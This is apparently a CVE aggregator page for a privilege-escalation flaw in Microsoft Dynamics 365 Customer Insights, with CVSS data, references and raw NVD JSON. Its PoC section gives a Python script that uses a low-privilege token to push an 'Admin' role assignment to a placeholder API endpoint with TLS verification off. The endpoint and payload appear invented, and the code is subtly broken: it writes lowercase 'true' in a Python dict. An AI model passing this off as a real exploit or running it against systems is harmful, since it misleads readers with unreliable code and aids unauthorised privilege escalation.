CVE-2026-33821

Description

Improper privilege management in Microsoft Dynamics 365 Customer Insights allows an authorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Microsoft Dynamics 365 Customer Insights (具体受影响版本请参考MSRC公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Privilege Escalation in Microsoft Dynamics 365 Customer Insights
# Description: PoC for CVE-2026-33821 to demonstrate permission elevation.

target_url = "https://<target-domain>/api/v1/role/update"

attacker_headers = {
    "Authorization": "Bearer <low_privilege_token>",
    "Content-Type": "application/json",
    "User-Agent": "PoC-Client/1.0"
}

# Malicious payload attempting to assign admin role
malicious_payload = {
    "user_id": "<attacker_user_id>",
    "new_role": "Admin",
    "force_update": true
}

try:
    response = requests.post(target_url, json=malicious_payload, headers=attacker_headers, verify=False)

    if response.status_code == 200 and "Admin" in response.text:
        print("[+] Exploit successful! Privileges escalated.")
    else:
        print("[-] Exploit failed or patch applied.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33821
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33821
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33821/
[4] VulDB https://vuldb.com/cve/CVE-2026-33821
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33821", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:04.410", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper privilege management in Microsoft Dynamics 365 Customer Insights allows an authorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821", "source": "[email protected]"}]}}